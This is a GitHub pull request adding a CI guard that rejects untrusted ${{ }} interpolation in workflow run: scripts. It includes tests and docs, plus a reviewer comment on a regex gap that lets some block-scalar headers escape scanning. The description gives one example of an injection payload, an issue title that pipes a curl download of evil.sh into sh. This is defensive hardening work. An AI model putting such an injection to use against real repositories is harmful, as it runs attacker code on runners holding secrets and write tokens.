Skip to content

feat(guards): reject untrusted interpolation in workflow run scripts - #194

Open
OnLocation-acumbal-contractor wants to merge 1 commit into
theam:mainfrom
OnLocation-acumbal-contractor:feat/guard-untrusted-interpolation
Open

feat(guards): reject untrusted interpolation in workflow run scripts#194
OnLocation-acumbal-contractor wants to merge 1 commit into
theam:mainfrom
OnLocation-acumbal-contractor:feat/guard-untrusted-interpolation

Conversation

@OnLocation-acumbal-contractor

Copy link
Copy Markdown
Contributor

Closes #

Why

Hardening note 3 says never to interpolate issue, PR or comment text into a run:
script. GitHub expands ${{ … }} into the script body before bash parses the line, so
an issue titled "; curl evil.sh | sh; # executes on a runner that holds secrets and a
write token.

Until now that note was enforced only by the generated workflows happening to be written
correctly — jq against $GITHUB_EVENT_PATH, numeric IDs only in prompts. That holds
until an adopter edits a rendered workflow, or the crew writes one. The fingerprint
checker reports that drift into platform_issues; it doesn't fail a check.

ADR 18 says the fifteen notes are "encoded in templates, webhook handlers, and guards —
not prose", and method.md says a rule that is repeatedly missed becomes a deterministic
check. Note 10 graduated into actions-pinned. This does the same for note 3, which is
the highest-severity note still relying on care.

What it does

workflow-untrusted-interpolation scans .github/workflows/*.{yml,yaml} and fails on
${{ … }} expressions referencing attacker-controlled payload fields inside a run:
script
— inline, literal block scalars and folded scalars alike.

It deliberately ignores env: mappings, with: inputs and if: conditions, because
none of those reach a shell parser. That exclusion is the load-bearing design decision:
this repository's own pull-request-title.yml correctly binds
TITLE: ${{ github.event.pull_request.title }} via env: and dereferences a quoted
"$TITLE". Flagging that would send the guard's first user straight to the allowlist,
and for a rule this severe the allowlist should stay empty.

Untrusted fields are taken from GitHub's documented list and kept in one array at the top
of the file, so extending it is a one-line change. The guard uses _kit.mjs's
applyAllowlist, so any justified exception is keyed, carries a written reason, and is
reported as stale once it stops matching.

Files

file change
packages/cli/templates/guards/workflow-untrusted-interpolation.mjs new guard (70 lines, zero dependencies)
guards/workflow-untrusted-interpolation.mjs byte-identical dogfood copy
packages/cli/src/init.mjs write the guard into installed repositories
packages/cli/test/guard-untrusted-interpolation.test.mjs 5 unit tests
packages/cli/test/dogfood.test.mjs add the file to the template-parity list
packages/cli/test/init.test.mjs add the file to the generated-output assertion
apps/docs/docs/reference/hardening.md note 3 now names its guard, mirroring note 10, and documents the env: escape hatch

Verification

Commands run:

node --test test/*.test.mjs      # in packages/cli — 102 passing, 0 failing
node guards/run.mjs              # repo root — 3 guards ran, 0 failed

Covered by the tests:

  • inline run: interpolation is flagged, with the correct line number
  • literal (|) and folded (>) block scalars are both flagged
  • env: bindings, with: inputs and job-level if: conditions are not flagged
  • trusted contexts (github.sha, github.repository, runner.os) are not flagged
  • the script block stops at dedent, so a later with: value isn't misread as shell

Existing coverage that also exercises it: init.test.mjs already asserts
node guards/run.mjs exits 0 on a freshly installed repository and that the generated
output survives a strict Biome check .; both still pass with the new guard in the
write plan.

Behaviour on main today: passes. This is a regression fence, not a fix for a live
defect.

Not in this PR

Notes 7 (fork PRs must clear a secretless resolver job before secrets enter scope) and 9
(allowed_bots must never be *) are checkable the same way. Happy to follow up
separately if this shape is right.

Hardening note 3 says never to interpolate issue, PR or comment text into a
`run:` script: GitHub expands `${{ … }}` before bash parses the line, so an
issue title can execute on a runner holding secrets and a write token. The
note was enforced only by the generated workflows happening to be written
correctly, which stops holding the moment an adopter — or the crew — edits
one.

`workflow-untrusted-interpolation` graduates that note from prose to a check,
the way note 10 became `actions-pinned`. It reads `run:` scripts only, so the
recommended escape hatch stays available: an `env:` binding is not a shell
context, and `TITLE: ${{ github.event.pull_request.title }}` followed by a
quoted `"$TITLE"` still passes.

The guard is clean on this repository and on the generated method today, so it
lands green and prevents a regression rather than fixing a live defect.

Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>

/** Block scalar headers: `|`, `>`, `|-`, `>+`, `|2`, … */
const BLOCK_SCALAR = /^[|>][-+]?\d*$/;

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Valid block-scalar headers can include comments, such as run: | # explanation, and can place the indentation indicator before the chomping indicator, such as run: |2-. The current regex does not recognize either form, so the following script is never scanned. I reproduced both cases with untrusted expressions and received no violations. Could we support the complete block-scalar header syntax and add regression tests for these cases?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants